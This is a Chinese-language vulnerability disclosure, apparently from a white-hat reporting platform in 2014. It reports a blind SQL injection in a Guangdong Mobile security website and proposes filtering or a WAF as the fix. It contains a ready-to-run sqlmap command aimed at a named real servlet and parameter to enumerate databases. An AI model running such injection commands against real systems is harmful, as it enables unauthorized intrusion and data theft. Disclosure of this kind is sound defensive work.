漏洞详情

披露状态:

2014-09-16: 细节已通知厂商并且等待厂商处理中
2014-09-21: 厂商已经确认,细节仅向厂商公开
2014-10-01: 细节向核心白帽子及相关领域专家公开
2014-10-11: 细节向普通白帽子公开
2014-10-21: 细节向实习白帽子公开
2014-10-31: 细节向公众公开

简要描述:

广东移动安全先锋网存在sql盲注漏洞

详细说明:

# 站点URL:http://gd.10086.cn/shadu/kvweb/index.jsp
来张高清大图

2.png


该站点 http://gd.10086.cn/shadu/servlet/QuestionNoteServlet 存在POST注入

1.png


我们用sqlmap来试试看,post DATA str参数存在注入
sqlmap -u "http://gd.10086.cn/shadu/servlet/QuestionNoteServlet" --data="date=1410850642000&nowPage=1&str=e" -p "str" --dbs

3.png


存在盲注
库非常多

4.png


5.png


危害还是很大的。库很多。
不深入了,没做任何导出数据操作。

漏洞证明:

# 站点URL:http://gd.10086.cn/shadu/kvweb/index.jsp
来张高清大图

2.png


该站点 http://gd.10086.cn/shadu/servlet/QuestionNoteServlet 存在POST注入

1.png


我们用sqlmap来试试看,post DATA str参数存在注入
sqlmap -u "http://gd.10086.cn/shadu/servlet/QuestionNoteServlet" --data="date=1410850642000&nowPage=1&str=e" -p "str" --dbs

3.png


存在盲注
库非常多

4.png


5.png


危害还是很大的。库很多。
不深入了,没做任何导出数据操作。

修复方案:

过滤,有钱搞个WAF

标签: none

评论已关闭